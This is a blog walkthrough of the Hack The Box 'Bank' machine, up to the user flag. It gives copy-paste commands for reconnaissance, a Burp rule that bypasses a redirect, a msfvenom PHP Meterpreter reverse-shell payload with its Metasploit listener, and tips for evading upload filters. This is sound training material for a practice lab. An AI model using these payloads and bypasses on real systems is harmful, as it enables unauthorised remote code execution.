Skip to main content
XsiSec.com
HomeReposBlogProjectsPortfolio
© 2026 XsiSec.com
Security rules |security.txt
Updated 2026-08-15 · v1.0.0+2026-08-14.82f92cb · 82f92cb
← Back to overview
Security article

Hack The Box - Bank user flag

Hack The Box - Bank user flag: Gain user access on bank.htb by abusing the support.php file upload to achieve remote code execution and retrieve the user flag. • HackTheBox • msfconsole, nmap

2019-12-233 tags
Tags

🎯 Objective

Gain user access on bank.htb by abusing the support.php file upload to achieve remote code execution and retrieve the user flag.


🗺️ Target & Context

  • Host: bank.htb
  • Goal: Web RCE via file upload ➜ reverse shell (Meterpreter) ➜ read user flag.
  • Assumed access: VPN to HTB, Kali attack box.
  • Tools: nmap, gobuster/dirb, nikto, Burp Suite, msfvenom, metasploit.

🧭 High‑Level Path (TL;DR)

  1. Recon with nmap + content discovery (dirb/dirbuster, Nikto).
  2. Find /support.php but it redirects.
  3. Use Burp ➜ Proxy ➜ Options ➜ Match & Replace to neutralize 30[12] Found → 200 OK (prevent redirect).
  4. Abusive file upload on support form with a PHP Meterpreter payload.
  5. Catch reverse shell with exploit/multi/handler.
  6. Read user flag.

🔎 Recon

Nmap (top ports / default scripts & versions)

bash
nmap -sC -sV -T4 -oA help_initial_scan -Pn 10.10.10.121

Full‑port scan (no new actionable ports in this case):

Crawl + Dirb/Dirbuster

Manual crawl while wordlist brute‑forcing directories:

Nikto leads

Nikto flagged interesting admin endpoints (e.g., admin.php?...action=users). Pivoting led to support.php flow that redirected to login.


🚧 Redirect Bypass (Burp)

Problem: Hitting /support.php auto‑redirects to /login.php (302/301).
Fix: Burp ➜ Proxy → Options → Match and Replace

  • Type: Response header
  • Match: 30[12] Found
  • Replace: 200 OK
  • Comment: Ignore Redirect

Now /support.php renders directly:


💥 Exploitation — File Upload ➜ PHP RCE

Generate a PHP Meterpreter payload:

bash
msfvenom -p php/meterpreter_reverse_tcp LHOST=<YOUR_IP> LPORT=<LPORT> -f raw > shell.php

Upload via the support form, intercept in Burp, and adjust the multipart if needed so the payload gets stored/executed (e.g., tweak filename/extension validation or content-type if enforced). Example modified request:

Start a listener in Metasploit:

bash
msfvenom -p php/meterpreter/reverse_tcp LHOST=<YOUR_IP> LPORT=<LPORT> -f raw > shell.php

msfconsole -q
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <YOUR_IP>
set LPORT <LPORT>
run -j

Session received:

Grab the user flag:


📎 Commands (Copy‑Paste)

bash
# Recon
nmap -sC -sV -T4 -oA help_initial_scan -Pn 10.10.10.121

# Directory brute force (example)
dirb http://bank.htb /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

# Payload
msfvenom -p php/meterpreter_reverse_tcp LHOST=<YOUR_IP> LPORT=<LPORT> -f raw > shell.php

# Handler
msfconsole -q
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set LHOST <YOUR_IP>
set LPORT <LPORT>
run -j

🧰 Notes & Gotchas

  • Redirect filtering is purely a client‑side convenience for testing; the real fix is authz on /support.php and strict upload validation.
  • If upload filters block .php, try double extensions, case toggles, or MIME confusion. Always verify where the file lands and how it’s executed.
  • Keep a second simple web shell ready in case Meterpreter is unstable.

✅ Outcome

  • Bypassed redirect guard, abused support file upload, and obtained a reverse shell.
  • User flag retrieved.
Navigate

In this post

  1. 01🎯 Objective
  2. 02🗺️ Target & Context
  3. 03🧭 High‑Level Path (TL;DR)
  4. 04🔎 Recon
  5. 05Nmap (top ports / default scripts & versions)
  6. 06Crawl + Dirb/Dirbuster
  7. 07Nikto leads
  8. 08🚧 Redirect Bypass (Burp)
  9. 09💥 Exploitation — File Upload ➜ PHP RCE
  10. 10📎 Commands (Copy‑Paste)
  11. 11🧰 Notes & Gotchas
  12. 12✅ Outcome
Search
Explore

Popular tags

Browse all 30 tags

Comments

0 comments

No comments yet — be the first to comment.